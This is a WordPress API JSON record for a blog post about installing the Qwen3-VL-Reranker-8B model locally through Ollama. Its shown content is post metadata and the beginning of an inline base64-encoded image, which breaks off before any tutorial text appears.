{"id":1883,"date":"2026-07-19T00:03:25","date_gmt":"2026-07-18T17:03:25","guid":{"rendered":"https:\/\/gataygiong.com\/?p=1883"},"modified":"2026-07-19T00:03:25","modified_gmt":"2026-07-18T17:03:25","slug":"how-to-install-qwen3-vl-reranker-8b-locally-via-ollama-2-no-python-required-easy-build","status":"publish","type":"post","link":"https:\/\/gataygiong.com\/index.php\/2026\/07\/19\/how-to-install-qwen3-vl-reranker-8b-locally-via-ollama-2-no-python-required-easy-build\/","title":{"rendered":"How to Install Qwen3-VL-Reranker-8B Locally via Ollama 2 No Python Required Easy Build"},"content":{"rendered":"<p><img decoding=\"async\" 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gcVQLLQ0vygtjFYUdSDjsL3vnPi+bPoxLaNDG+S2ZfB7ypgmLhIlBiU0y8ExhyZBCwMd5NDPxdt\/bFyH7uc6erlGet1uDhf2QivOWb8gASTpwrXfP+5gC0cM8reXjzDRfXKfN8+dISRunVbywRpgpLe9P9qsgYpPrVymjCEE3k+GLyzW\/W+nFvUeeQfA5337RN7JPra3X+g6+2LQ2HemK0mKQrEkqOeNQUoZdRoJXeVGw5iRqPp+jvxkoMAsMua7otGC3ojArq89f1KYo2A2USuDhdBxQewPPEWEy+ziRNkT5OghjTU8xgRrO0UdMHzGv+BHkaMiqdF5Yw7LpntgyEcKJQe3HULvKqwa50Gq0XBmSC+Qn4R71c61PpTNdD6jn3G3xUn+N4o86IJvjapZ7\/jtfRI\/AW+1cXKS+OC7eCltlAbAEe6DL6baneDM\/Z1L9E65tSOakzzwlGYUlxcTyuf9Hz2qsv8FxoCqSVQHycPBx6f4XaA4L2Ot5vcl6Y8LtPqnvaXDtsJPNd9nYRYERyjMoLVRlI3l96WZ7aodoj1M6h5EJx3gm0Q+MVsjN82w2o4Np28ryQ6NLbVANtG80l4FZkojRwmojTr7usbcg0mPCMl8aaN9c+81jsosB\/1oe7VCLieIuZL5t6qNsg\/Hap9\/1UPdeG8abBmW4JJLmmV28B8fw6IaOP7CMvF71FshtnW0MpOLr4rTaV13\/41Fj3P5zpH2Ts4jrDY++\/e8Spoj\/lhYf\/TRBzWuaGmGb\/Iql4NCY7bnslCgUezS6Pg8IWsnv0Ct2VobvJpUWhRoYHWbEZ+YG\/6pIO4P0PIOwPb+\/RiX1SeNyCWPLKhDQxe8hBDZRrNbeYLveZ+h8\/rpkgnhKeD56SAi+kA1c5WoCgozyN9iDeeyNGujdyd5c+DvIewYFhs\/ZjAfr1ZGTvW9LIEQGxrBo0WIAmd+qfwyycNjw+3z1fyrEuSHDeRQgrcR9cvBAun9hufZeESMsWatgycDVbbtEMc7Tehho0S2b4Bz3zO5dW9IX9foXfMuzPg+hYWttIbSWG8agCtqv36I1CKXI2SJ4rBnUYUYKO3uzRGrgI3XpAf\/PKL32osCP4RDkSnhduvwEI6tnkd09oxqq0OfEQppbWh4BNhwiFiPGRUYoBbfa7Nc25SRtizEvE301t7WVqXiIQ1WHCUUemVYwLCYOxLRwQhuUs5gqGDdo8vVbT8z4dl2WhD4m6GRimn58VyH4\/dQ04DXmAWswiwk\/NlncEGT5DeadcXnUdVkoZOsL\/H6+xTyz64yHpF0StSe4Jl1SSCURog5qoYi\/AcHQK31C6bH2+SzmD09NcFeOoU1VwIWcLP5WMP9Xt1cjlAP+eM02BW1bbdsR7W6dwbbdTGT70oeG8g4fMAU\/L44VLOtR0niTyqg1jKswTSMJPDuvjEq127txNNMIVNJKzFlpbtVI3EO8foUa8EgMnYkeO0NEb4NbPshwuCPJkSd47A3nvnOxwviPozGQbdpcwAyl315mOEqdJHXrmWCmwBn8VqKdV9DPhaU2jEpYJzu6N\/rteJJqzeJCVI91YOGKes\/yLwhA6DBvFKkgCWs10kXHzDkYsk5R5BoCuz1ZuE6obmieFIal+trxPDY9GGzYQG87n7tp4crF90zo6FWcRnKVCHehau1C2nWvH\/aOH3Wv0b2ho2uDPw7AcKy82aUkGhH4HpzuvPJiTNLDNFFRnIurTfWjbcCKHn2tRStnZT6LPq5kqQH+NVFP\/mftWzO55xMLNSKlYjtJBELmJKlAX6ze0gVBxsLlizpQCo95iSpUTZZXFckh1ZIjnNP1ARPYiJsEPfvDaoq1ZC0wMvXLHn3PKeT0py0I3rH9NOcITPpml2OtmHoYqAwQgcuZMFJzyUixUcQ47yte8MOqpkuCbfV7+6ZazdopgRT173C1ni6wRPz5yFCokosBjFbV+gKwt2kW9PlrlFjHRBrQpd1bxlmp251a7fmz03URLH80cKWr5jeA0ZeG29U8k\/ToZo\/BYk1pviScTfMThEyZAsQ6fCaqzSIMrvVwQyqhBQKcCJ2jIr0Iwl+sIOa513aEzwH6YvHEhFhRgZuFqf5AUuIvi+yCgKAF51xcY90q4OSFQFDf1TdN3xjn4QtaUrGBKeObomXI7anHhd0H6e\/ahcy0OO62raekYZzKj0J6QlULA7K3Vl38D1HL14ketTvas1grRJn8TjCWWkCjC6E9omCuJ6VrmRw4KOd+q5yqAuxBs\/e4qCmYtIA3UwroGnhhHHKBl0j5TDkGOIMVY4ydEhJsrlFb8Co5V8klnEyHDjtLJWxv50PnOYOmbntu\/k\/X5a28vF2d6qzwK2e55zIyTrpa1JvozXJEfSjsyE7YIGj\/c4Q1gX+\/ax1wj2eq8jLwjpQSJtBZf2vdwigvxTMHd7\/X22aIIlyIFaFgGablQB46IAoZAXvqdpCFrUzNs\/xtqaH6wCQ5wMFmtWGqIQ\/ny77vv0LsKRsOUB0m+GZ+sBjj5EfFZ+sw8NeHw9UEP\/JLw1tMe9LGBc7oDW2iOvRQfv20FMuCl69PbCbcun9ot2a+bkN+lR8Obt4sqx\/U2cao97KS7i0PNo3Hk+HmYkQpkCtn4T6h9n0n0gEln\/Jk7gMyxKtotQSvNJ+iFWOhAn3bDfjR7Ixl6cM1eVp8K5CYRMCRMJwk7nkycKMEd1pp3r00A2G6rUWy1BSjRLf3ow+y5E+oPkO5hCNjvvPL9NjIu1RwPw+QTAs+2h1ZulsWw5KL9j\/Fnl7AnyPTPKFyTUPMWTScxDo5PhrhJ1z8WO2qzSk5bw95Akq4CU0vDRjdggnVyGSnJ\/5LsC0sH1oJuJdfVfWz2ebeRSILh6ImhxXy0TkBLpJGY4KmQ9hrwHktfOEB6YRi3TWxlvg9Tx1FbiTeDGazbYXQa9FX2UV8DTZvZ72j1JWQrrW6\/pnBsUQ8okJiV6wSlkQcJeGd8w60+LZanveki0JVgfBfFUrU1ODhxBLrVhivNCXiy1pJ6utb7YEmPLrazUFHOQi9esc7HLwlGX7wyo9Q0I+Ve2o6O4R85t5cCR23arAWQzalhJa6paCC0I5HEs2n4N\/5AYcEKw6wIpLyXapQpTGI5XG0kvpGOc9mLkJTitomqY1xBmfLyWQwaGfcB67z4deGAbYN13hylAGJVd1\/RdlxkQe7zCdZw\/egOEtdSp+d2t9TmomqsRt5B\/GMZYJa6JyswnHlGecn1SP6lqgWt\/b839FmPle+oy93yawu7Zub33z9fZdKv+DqeRyF13l34lMjC+uiNvcb1xeVw6uv+A3Sz1rPK3r0+MaFfkcX0N4um7hG2ejIuQmhMFNfjFge6TKO5ZUWU18jT+RbYKXTLalqn5D4zYEE2kw7UqcXsLgUjaYM5\/03CV7PjIT0epaA5gAf7sgEht0sKy27zgdcuaZ\/w\/4uJHq\/3x7Ce54k8f1BHg+Z88fxl3YYUWQlaBEWLo+8zhSGcY\/J\/UcuLsRveZgUPWZcozjETLCek2uYPkJF6ak9kl3t5qGtvS0NMJvTrvO975u8Als8YajcnoDZEZdnkdOZZBi5H53tOsFWWly11hvBU26nFkugjXaoXNNxVOAUa5ppIRcZ9eb+7ffu0Zqwmh\/JTw58IFp+vWmtutUL3Pvs9JUyrIzNigrQhwmBDjymoXO8+k5hFozEHNSc4oNzGA9eQnu72NMRSZONNxeCNRc1K6suWWwBwWYQIrbhuPinsm61f0USfGk9geNxHKwz5UGk\/\/VlJgEyb8vOl9olkbSdgWbEc9gi6Mr4xZvkgOilFtAjBU+6Qamw2dw0GQFOIUCmnfhuz\/+HdplgjW6Z66P70qiCuao4P\/Ds0DVJmsDJnvrRREAwO2jHKVJmQcNRw9J3KaZWA3Au6ZFQ+sS9fRgxv5j9OuVbwKRHu7mFxYkfAMHJJyfO1eTif2AaPuFyei7j1+uaG4sTxzjEy7egBqdH5uEJeqN3fUC5i8CZ7JyHwRAvCvhwCnKoZpQESNnhTXjAQHMZMs4yK2UjT+Pqi84WBulJX3E3MK5fso7mK+ZAU1EDnNSb0VS2gEErSaVNpQK7BAdg2OnpzuVF68uYa3VtoYTlPCZEF84qqEIyI98t7kBmQpac8a7jUxgD+LjBXJ62f0wZrU3Ba9sbCff0hku52\/AFhn7ychidvEYH\/BBgT+USJir6XXMpVgtjIpXRDlBD71uHZ2ehN5QLLbCLRGoBqi5rJL54d662iO9Wru7RgzisCsgF+ecPTnGPICfFTlztU7l8BO6h4fPAC4nNwU4Z0wYEbsfr3b21JVZN5Hm31hAz0lI4PT4fKdcCO\/w9Not8zov3Smx2HJyqvTg4GOeARdVqbk0udRAkl9DggZWQiOlIRB3LQb1PcqG3BQMjlNBY69820qWFYKRuPPIPqS\/KCzS6yW7VVukV63t239gSpNJRalCipXBoSNGx+C85NW+Uso8B\/iRXqF+JHrVCXRjzfd7xud6+LGJ3YcKIIGNdgbnf4A4exxN6NsyXCGlhg1DiCnzX9THSqECdQtDBT3cvrpH7Jjfr3AC2\/sYw3\/7qTQxkKgsO+hBWdpOFxL6U7dIdraV3ZFkgbBIVjAANdbW0hppVyHCvxonur7MM7wTmlJPEyOPop7T5txeT0hghBxhMiKsLZ3I+vbpwvIeQF5fH\/5K+18eiz6vudP3CWLHRK8CvlaIhngC9AD3GX\/CWG230SQlw7pkk9HQ\/k2qu01bGVw0rlmzRW2Rux0EAHN0mHqwZi7JJjg6VZbCk9UiiDr\/u9Zsp5c7Y1Kz3oTGO8OEbzfJzY0wh2eNhvzMKVkWYMijulqY8b7JOUVuPnAAHHPzZWJnutFjXNPd9A8wl7TEa3IDc82+ZKzhBXvNwQQzQGK89eXjMHqJXeDcz+lvg4Ejd4iUWfmRPWojePXcyhaYB5rxhnDNOx4eBj6GDttQ206lW3AsbhNrHNvnUuq0fTrI8zv0TL23WRDyV9s\/ulc21\/oU0iSAdiJEKgTqtbPRun\/jkZobVgM2HRUTv1ztJblB7q1r1pylrC3dwopyB8fmt+OcoUaKH5vtWteLwIhPqciDTdYAdIeBzCMdaKyYlWSZXCty4uhKsKv1ZQ6LDG6XEo3USgyX3Ct8avuyGBocB1cc+vCoWKCVNBw0vBthxsTgSb2Y+AgB0YOpWJXd01yb7\/5RzWMEqhie3jGtALdAW\/UyrHMKjYsF722+UGbfD3M3xbjfVB+40+B5CbpmLDemATQPzExe0dpkrsHiqXMVw3Gs7n5qBWXK3ajVvKAjzsX4kt+czoKyBPZFvw8aUr54z62z6otG5XgAzozlNPkJmApbK44psiixz9Z1y1Y2k2fQyF5Wg2Y7NuxMexA0RhRs7w9Iple7NMNt7iB4cJ9MDyNqC3BG4U+Uya86MauoPo\/D+uAvR1tXLePHSheFUtrlxcGLdk9h+rdy3qJdTQfJPsTEZDd+f+EFI8tC6xwWk1kXvdFtZZsGq\/hkhmiQEFcIl+g1RJJhTDbNYPHu8h9dVbPFwFN1GhjASQavgCS7OgbcXsZJjdKMMyi0prTn\/D5jFFXrPI726wpT7idPGi5MvNXWVS62Xsj0iCkrJxW0x\/ia9CVHbzfQwWOb+H6D9\/\/B0I+q1hfWl3j5GKVA0xxw8I1YMAdgaT7SxTfpsJjqfN6NsojPos9P1T8EzC4OJu8Jh1AjNb+m\/9UXdGfhWTijoamWLru3DhXoUECGjS6BtV0OpNa9ma5y0OydDCJNawYeiiapX3D7frTxatQQ3othykOTaf\/+LpQTMkoS015PpIAahtXddyBgn26x95\/2\/ns6I8TqLHPVTncXmNV9mm6v1NUxhe3ytwc4cb5Ao05RSTQ5vFh8YBkWl9pGdIQFwVxe96oF5G1GiAu+3yGYn+t3KJzs7jTC5LssFw2m8oFTN5OOJU9E7\/OM+ADtxkGRzAQq4eXTvj0IVVVwTub6bi\/1cwqRpRhwsTKgGYQQ0cVni4gvTzWda5gi15jyHF1nsmg2+G80Ipl58amjyF+EemdOOk7eCcNIYXc9dnHJtyWef5hgl\/mvM5aTX6Ijf1jqla37OjEv6bFYu7NXdow+q6N\/CPsRy6hCj4TDpfP4BAmxrBERA1ZoZVuADCMA5MMX0gBwh4+gw8MOF+1hZHRFKTuM1a\/3r8N6Wxho8Q9mOp1652S1Un3Cy2qymhy0lIi6infef4a8JeTJ+sdf8xdYj08u\/GL2uMAVNDDxfiz618Knj2PsVe2AzhEn7wOzRZywyfgofugR2g6Lq4yKtR4OmS7Vq3BOF3UT6skL\/1q+LZEKVyUo14NggiwClEyc2FszdhInWdQZVIBgIHnUbQoFGAbDV6fcV94C4eHLcSqdFhScAEnyFVTUoeT5bwg0k+YNAN9OzlAvD7asjqoD+\/CbZ88\/lWzyRcZklU5QPe+bZV0T+RQweA6n8RZb8GKMP8Fj9laKHvR9Mp1zPtj4tmgq4gRJNJWdIw\/9rGKR3gCRZjnIHSHZI05QkRhDcCglSJ5VtB3pW+43UNjL9v1qhnfTp7zXnkXpY\/YUa+QwSQ6Sw+QDktbL4pvgFpvsfrwpBA\/2T++ALvb3j4On8+glHiHyVz2GOgmbIjTk3nu2xaJkUEHVvNPyYlvpOjy8qMZwKgKj6H2cO\/NniOq68dfXHmcC14d06pEriHGOhdl\/CkzMAAkZ0SMfirS0VPDHoZAKKuF6c1fkF4CowDxLGLNVcV+PI7T6mb1ZXEEMwmZwckb\/+7BbAtRVN1mGrBQc+GJwhftJQMlEWglT+64KTLLtMVzz4IOw1WD72iRqD\/n+CFVr2LOJQjCFBmApn8N5+7XNI8sQChMRKIovzOq0d7urIa1fpLk+VvFNUFMbG\/SUpDUvTgjTjPOvcWWgDl24GyJWa57yNpW8T+HzgJdvBzJRkGE4iUC2X85BxTHj7q37HvVXXeoFNcg2wcGZt1A6s1zPV4GrHeOicNf\/QAwQb+4Fie4i42Rt1WAdoxQ\/sd5mt9cZxBJVzCElEjS0MeqYmKvHNrM\/NDCqMNIiN+2wf9FLyeDaRMs0Oe7fP5nF06KmPbHwBZ7vMwc25HGvo27fVq3x3tmIuwcGslzQcmSqsLPTpU7KWgJwuPXBppsonp+CFWsvGjVI1TLDd6x7Cful5Z0cbNtLInN450kwIYIPI5q90Y\/sr3w9N2ydTmQDF8W+RG01qkIkI8mS6nLBT7cI+fVIKAmIsIiwfGMQmDZQfPqdnJOuCGaD\/BLQz6H7V1WoKCg8XiETyyPe9yzNVbuKPg8cS4gXzfv3Y8uEfGl0zUir5MJmqVuKBVEOPAhEkG4cdxr45e3w8pT8KccnQhJPI\/Bi8YS2xFd32K4CtnF7FdVDJ5Zt5PR1G9ydOIDxrCi84R34nzsmpimF6+hiF8a6v9c+GnuxAe5Ddrm9kDTWyqYTlnHSNBwqNoFav2cJF\/0zc9B63cqB+QjvKckdU1BbHJvIb7WkonknRgRALnS9KSli7XbTYnUKOiqfSMYoSpLwpEviXTNRZmfPEv7uDEEyNE3uK4bzPDKu+5yJRG\/uw8TRGA1S7FGwf\/8XSgm3rgKejF34QLzC0rlPwcTAcQv49nrx3aTUf0NM+ob8DOco07AegSVpVTCaf29GMVE3jVNSiDGMxUiqT2IVPgW3EYCyzgjN+llA8QLgavxrEIfwPZU3fAgcKzwYuTTAXSK0b6h\/6Efst\/+bYzVhyO+AsVSLCD+Ke\/EaybdEIvZhmKoEsf7+dikIg5FxaXnIuQ+6ykh1\/G9aGg8Rldlnx5dfDmZik4x+Ry5aMaPpNduTyipWDZesb9MBUkIbeaA+KDOuOzEPmit31UsQeywhd+csdOAJlmISYzCqdMPKj5+Dwp1SD+XOt53\/yn0OnUS3m7+I3bri\/HtEqnjpNLu4a9Rlv1xWSa2vGfyiqJ1YPJAXJ9mB\/WrFa6RLbdKctvNThmRuPmIoRYm+HaDqHilzuWZ62qR0JtVUPURFO9VTzL4PNU9sjk\/KuWK84z8prr8zIvYmZUs5wNjWxIHSKauqSKNIbtA9Mo54EGU2IUsaPrdzo1MfjWROOwVC48vclrB1K7K28s1l56zh6SOHtM\/AtkCKq5TFPUlbLnyXzA1hNj4EXBhpKTM6zAycn1vyYLdiza7hwI0cPyaTeVUHz+p3QuGSMWJN52axPIFTPS\/g92Q15CjJW6+MZ\/ozg6rnyn7p0PuvwmUjCfn5sTt5W3JsMp8wpV3RkUcsXgjk47GxyfpMk9ApiGiKJJeBlgDpfAIVCBXgrp98BtfpWcSm3R7D\/yBiAzV\/mTUViE5jXUxKBT\/maqe3p8tiZ4mxx3jZoE23RXje3GpUjwB6T6x54GrMTddG3IHJnV24\/VVOQbgNw1t0atIukYN9J\/gCCr4XitZjPe\/TxzmdR5qXI6QeTEHXCxaZP72hkbhm4Y6mqdr0I4FAuOyZnTER5OyqrA9B3nSMr+3+4ouNBoUP4i808rF+SznoP71qKplXS5mX7eMjzVTnUApOWiaT\/T+Sg8nBvkzKQif3mIocQrjoupGJJRyDZqn4tLUplIexIwRVgo7Az+hsr2uFM1YYp6lwWjwVMwUgoH0FlfBi5iP5HKn6qBHNPVedrwd0XjTT027mKzvm7XUb0Pw7NlO0MFntREML9+fwi+zs3mIBENItr8Z5EopQ0Pw1xyoQ52aTPzzQPR1F5rnUlz7\/ZFfJAI\/0rD7aK78j\/nOlf\/NTQHeUBIHdFsiCSFaKkFDeRTM+zzLSXmsutJoMy0rxQAFvSAPRLAgfJFFvMRmGDIAuJLca60Sx1WOuQ7Pd6EMClw3SQ0Y9eEU7xRYGgpaddPgHV92j\/1bNRadSAnPtVJv00jTYyHLSwAumKXggT+ei+11+5a6mbQS3mEQM\/xMonhVz97LSu+3ZmQ8VLDZNH4D96SPvhaC7L40qgfcdYjioni1RhgPC04w+Gtj81oO1aiWHYPR8Dwj2u45bc3lkDUBd0\/8L4xXwQT4O5zm0GIjh7bUBjTQecalTc7jpCk6jHvOpWJeLSdwpJXr3WyBbHauCzX9HePJsDDM9uKU1\/gejPntgTbIlU+vg\/SSSEHMCxdRIyQTunH+FcKzyLOKGa2MdlyusX0tt7hJXfRN8LM8T\/w7MPVJpO7oHxCY+G47EMlHn+HVKUzU4h1hQ5qdOinqY5nuYDbYxEcZNdGPrEdOK466Bp+Ao4jpqq7DpkCbnxCMXz5EB8GCYDLljKtZDu0yEqwV\/b\/ErN\/HX4hz9cFqM0bykahGGzViJZgYX96pc1TlkLEMaKCAZG4zPqJaB3V\/iJqjJ\/dZhLXiepYkfGx6siw7GpRljSX0XFNUyYlA90CT6G3nPKbxXX9bDavrtYe9p0Cuc4oDAu5usuAPp6okfG\/+cVvECGAOZh5BqaDI9u2\/k5ssLAOz8doviJY\/CAETnnILPsccWLYs99UfqBeZZ1l4PqueXgShgRgXy2OfN\/nZSq8OFJSJcxEymsIlV4SwKOS2N+Z88AsY6eFoZi+HpFSpdosh\/Y5v3NMQ3+RM0nHpAOjc+sn\/WBtbY17z4THtX6rK61Gscc112AfOs9+Yvlk5G5+v7URH46US1d0vikctXZ66+ROuoCbVnBMeJrGvT2rUPbgZhcUQbT4uUlgHnQOmcd0j3umis+dqhITiK5L+KRx8PfWZcKzpuTzFtukHAL0qs4jyoVeu8WTRV5uYk1jaHbT9PoCkd9K7Vz1hsnBIMeQp+wXoOdE\/mY46X1pdA2RUD6FQyKwlS39DSFOMl9UoxzaKWc2NOK0LwJE3m6VK4\/2JcPnE9FihtT5m+OfnvMMHd6ACmc8RonuIdejOc1YMtUWadnx\/rRw5xXIj\/XnWTczvzmBhIabv5chbodBOe7iAqq7zVjTkTiGyCak6kEZqHgJLgZOC2JF\/YF6iPZfaKgsDkAPS0xJlo7+1TxVJylz3a2bJ0mpEELXKoKjG6V0FpwTId0RrZS6vum+CZ\/JJFQV8dlGbcFt\/IiKb+JJ58tMjp\/DRYWjVootDSA3exgCr4KncQHIm9GcANkHs5zkUR4WL+5TrLZvP4GRZXxmYObgEk9J1Ep7AK6cQKYugrnFY53V9hYQk1Ot39JvjHgcU486YYX3kR\/\/b1G6I\/r9\/SiWlHaKSU9Ku7DPQtTqUI1\/c8Nn\/Z8GRteUC2ffC1ONwEewImeiCXVapG\/DI82KOwoiZYYgtJAPoP71U2tfwnS5TZd2fp3gxx+FP9C4ugtno+0gGy8yGGTMCFLA\/VCH+ecoju6F+arzuAHdntPvHjsm8CN8BFnlksgOdaP4iK+UomvlpmyTLjXjXzKiCZD01dS1tdBBM29wOgIz+mb0NUER5mt+\/0vOlyBexi\/bF6veTqASwhPmULytIljCp+Ab1L9DUq\/AQHe7w5KsOftt7AcuqFhS5zP\/RXl+ZeO9QSj575SQV47ccplrJ8+39\/ewRx2Jan+BITMW7dFK2JpHbpz0sFUqUkUGIm5iYE1eo9J47VbNOk82HyZEAwzp8EgMDtg5dog+nX7tzkofjPdfZ73eG2lg5LyP+Mw8Ug\/M6KGB8FXi15OTpkrogok59X64JFCMf6Zo1rWlljzl5Pb2JBGcJo1Niihe3sk8KKhCUtP8x1oyYw3POnASJtLg\/FF4TZepP2fzeltDh9kIyIt1jejsN5sqf4W4aqmLVuRdkx5xXyC5imfy7TIhoiHQfw+C++1hTpEfkfcCtQ6mGRkYgxZkTj4SUz8mSMRB8nKsvjSsP\/92hzKj7xtLaC8OqQwnt7KtHs39wECieYAuTkMgEM6pnHOruAVqeU5FQF9BkEvJbu9VLMR8xLjzSzgKx2vMdvBdaPCZKQ16JZ3KqahjZyJyGZ8gwUXj2rKB\/sDZnkcXeN1XG6RKHRWEokn8ztFF3jtpV1raxMtmPaUNEOP8W2tww5zlZA\/EmfWGim6\/90deo6RD+BEaWe80jy\/60obDBwT9BhiUy10JpF8KkKmLEFnJ0lf+7ClbJfK7kpEL47IlsOogc7P+rIygSBunCHsm6LWhw4\/DAZ84xuFG8+1Dxhuz\/zw3z9apwVoaTO7yc6jd0yc+juJQn951pC9XwTfxCRxsCgGPuBPgMsdufRBSLiZt6g3U0e3WIy\/MV7QDhx6p5SF7gcywyk6ADyNtQQddXM9uwHFtBTU28blPzj+42tShRpwJHw1915gh2WyW+t7AKvhrm+XhO220LB6r1Sr0b1P2+vbuQDgnOd9rrkqR9aJ3XAPomIJasqL60av5f3s2OstUh+wnpgCv5PJxnlzu9WFu0KuztjVHrymxx4Rr1mABod899hJbwPqLpFIBoo6fTr0WF2ZFUvE3zIwTQwGQuoXdNEKhE6TT4laJGq\/hjyuPpUQZ\/UkJfRXcdvbSbDVokHVJzlKwGkftPZQqjaVIsJunCfEXGgZIokcFzGV1tcedr5UotnZR1lkvSTaH4YfLiYxdCGoqDg\/1Yq40AgKk6Zz4y6WsbyoO+WttGtMXLwEK09781LODnGxnMpDadIhyk+Ejeix\/5CCHk5pV2XxH8WXX9JtgU78CTxf1riAFUXKQJ\/KyZxJ5Gc8td\/GYf7tUfQjS0d8Z\/epLzpVwAQniKZa+pg3o7sneXEo7NTkEDz5CwwIzo1yehw1Z257eCw9qb1ysQk9qUmDcsSA5M2iEI2LjZi5Jn99m3qbWTlhFfgBrOhNeo0xti2UM9MOgwUvfwXPfrfiqSHw\/qF53Uv0rXFTz57nKn7iRGDJtPvCn4GEJbWxzMY0HPs4T5jRwmkFGv4+hLBDVVSq7H9a4BqpnJtTuUEmmijZrO2vPBuYYNVlYkqf6MMEmsjjMnQcIKt+Lt2KJMF0jXepCJuiv0\/kV1bw8jzBGex3EWDJdjn3+ZYtQbAHxAwvSK7KR1VC4lEduCHaV9I\/Qt4FE\/nLsY\/G8Er9ShWKKv5tMe1wd4B7JeEMpPhjU1+0gbTpRtIgdLlvGBTqw\/XldlmMrLe40f\/Ua0RBKiMrEqlpC5TdtMeP3tUni1Rzg8pgKv5dXfpdBJH1BV2MC5X6KNvU6TWwLfAIqDiwbWurxdxmLS3uLTch5Pa0\/pZp+3kOXRN3SKSo9pJMz+R7SC+Z1lH5V\/30mdKbN49dZaY34Ut1Ca9ciUcQcEE1VrUe9GODjSuowkfsOl+W\/fvN9ZOQ3zaPw+ziPb9lprHnOIFmxjzfCAAZxaVnYHz409zd+g0LfbJA2SU6wwOCKn6HHMIBjbmLT2b9qd25VHUq6Laz6m6qhyMANj5ibPPtQAWhcAJ9k7LAR3zBH6cfOYcrDg0LWNbAJ1YIdJ++C+2QMbsH\/h0CHktB8rVkFb\/Yu\/BpOhB\/lQY+HxD7Zzi1cQWuzG5TvSl6GJCNlEJQiKs6NDNBNhXiCiK7NnXykbwUbFst7Gs5ZpIEkXVqZni4N3xYF\/95vvq2cVfuU7uRMPEvk7iui47hg2w1JDom\/hSEYiD5K82hC5hFzR8BXjUA4e+hH6udq\/4Jam+qOY7Ro5fW6l8UasXX3HXTYao\/rWWwiLK6ObjhbxQbgtrjaCHrlnIcojfwz8qz5DootLejIpsQ+\/YCNJTKhCjt3ftAR0NuUXxsMew9b4WMdnf0gkWy0L5GR2onzsVplA838k3vu2auseci43wDaNM\/oEzWeWsACuSopOZkWZzoFcKfiyMY9Qz57E7gByXr1ogCzWNh9d+\/\/n5JVGFc6puSoQgXxwRRKIeJhkWwhiTfTluBIdXMBs93\/EyjTDUz2J0hiE\/uLFG5keg9n9j7UFCImGUcVAxAfoi0u8MKePjO0FGi5iUsHXGCjIJmReozWtLps0K88OV6Kn6utz1gpRrz4Jj\/MnaEo2W4Wn94RKzweT34lbC1GKBwe3VVBEcEEgRftYL7yD2qEyH33BbWrJFMX0Z24IwFg8yRCkTDaMV7N1J2YYlHod+k59bo7BQcbinWiQUP6iIC9k7xHlDd6NhfN0Z80i2hL7bHkjlWx4rrPLnZC\/NzX5Z8wrdni+CkjmFINczgMRPEr2+DPNg5+03L6DpGqYRlXOGbQmtXiOkMdPkg2vcYiUHbjsK5zbn5thgcCb6n6uIaqvSxFO9wZPpSbPJ27cCmUFVp3jhJA9uBRWKRkzjWhqEbMWmLrIpG7JFOx4yOWuO6sxH1L6Sc\/qR42l1TmR\/5XLUfCul7HXpSu2NozxKNaa9zltDQ6g2y3lKNEgrQ6MSwOu5\/WUj6MqEZjRnM5crjhJrpCoDAxeD\/ztkC\/XnOLYpyS3skrNxFBHUOoplECKt+K0ZKMt77D\/WDPxeNWA3H20VDUc6rPAn+Oxu1aF6rz92Xzckxu2JHIXzYZImkgEBsTLXOEN2NgU9ODruGfCkMM50yrGZ\/8xWuzfYqbLZvijXKut\/p6KcubaJJGUAjL1RCho2L58T2xq6qa\/CECOJtVYsIAKTYBB4P5Rb4i3Hg59waGZm0tiO70LzdoMbij9a3wgr6IIi9KG7VWJ0x9\/CJiD6VKFEcOzCQt2sBdtI6u57\/zlN\/9+Myb862BwiKMmh6UV\/GYWflFkJHUEFKT52k8HP0Q\/NBNZ10krm1Nf7iojQto\/SmFG5DAMDRxb5LyepDwkhvt8rmjt7VJdNzvjf2LB03dbYS9heBUpWyJUkgjWxj+WLgAmJPS261jxVUdsCsHDJESxky3WNfU2TvFEc72KxP8xHlZlji5No6HtnOQ6olvzcBsW61iye2nkNQm+WRV00F11kEXs2kEhtNSNAFIN623GWTgFT+TF2JTXolnt5RwnycDWL9gt78HcuYIbBBGkREn+nIcdh5QUagQmLGgPoYXc5R6YtZ3bIdS7w6pfcdLlRhqsrauVhVONpc\/5QyoFXgpGAvUSlsOvUaDXESGbzEKko4qPCe3fGHx5ULHDf3R+Csub8vsqZ0OfNbfvcYjXewrsARDGxN7lxHo+HcpI49g3bRFFvjcUHDZK5mWVlfXnqls\/L60QsDcTcXag\/R\/1JxHxWvX60nVIWVMgYUvLthdObb6V0zH0PEXKISkAShgO9OseFIi40k\/+9dSiyVJmDtxMP3j5+rSWa\/m3UcP3nZhfIqRONCB1WNYB0rcPe3N1HPCOArk4MJ8hlVn1NsN4Kf90Ok8ErCEHUCsIx\/Iqm8Gg7nHgL8B73bEFw1sHRiELIIg8vU3+fYGTCjFKKuNS3iPBuU5bxNqp43w246Amo\/RBh6Yz8ezeajVvcjAbfWZ+knZDmAU0utCad+z60LYTJZYh1mKW03g4WEW5gbOFL1plMlnXhhlvKlPRDSn0Bc6urwYmDqcm9MoFyiAd\/b5RxIAc6+vcwjKP\/bapq7vPGSmBMF+wve3+gH3TsoHGTmW8NehV5NTd0IF7XUwMhLfQlJMAectUYmZ6HZ2TyBb8cEYV9wma8pXNECNsc9893OL\/30HIRErWwPDxlT\/n4lqmtvU98QMjNy\/WQNAJLTb40iAvkaQ56nTZgQTuGlM7QQTDFWU29Zr+oI9aRZeL6KWUA6ctnwxmtn1x87Ln8UNmUSaryHRu\/AWPZZpveXWOZKOittX0eZowplmBHrIfdo+RZXUdtBjuD6s5c6WwABMla9GcW1aRfr+M\/qTlSorF0By0Vru8v2p4wiBWiTDHEiRSBZB9\/9GASv8KeSEc3EU72rdVBGHFAAAAwJ1fVJA3nuLy8tdqjYhktPiTt9lZWJcqZ2GTiwnqTbh2zDtlDxrY3dZ82B2bIVRtwuFTv13MgUtC11vIPVlOpB+lxi6GX\/l6aeDvvIUz6je8fj+psBRwvdtaRbS6nPfyPfF0W7HnVGifB0jXLSsJ5B37oqbhnwkzRigg38QDtnZpQ6w6f8Heg56NjukPK4UOElD\/6DQCj0RTD0zI6htRJbHDlWI54kimUUhZ+ZeeQIwk4Uvy+hqBvwmyubTBYksmTuFt+h2NIgfewpoLF81Ubmjy2pgHpraDCbckyL\/LfgQJLKUeHFD7uqrNUiwAtq36ybfSvLpa8DHVK56IwwIiyX1flBdgVABNUJp16rP7e0dceQuxm76fQkmqQgSEcqBFQiVDqc+b0+Mvy\/M5NOCa9xKpWtfBFtjB6owY+e+K0M5xDhzvGsDKgbsbWQKCLBowcwVQCZ5xIxz6mh0M2E++JJjz1Io6d2A9agI8D6SALfq\/6uyTXKceiRheDMKMs\/cC8Z7t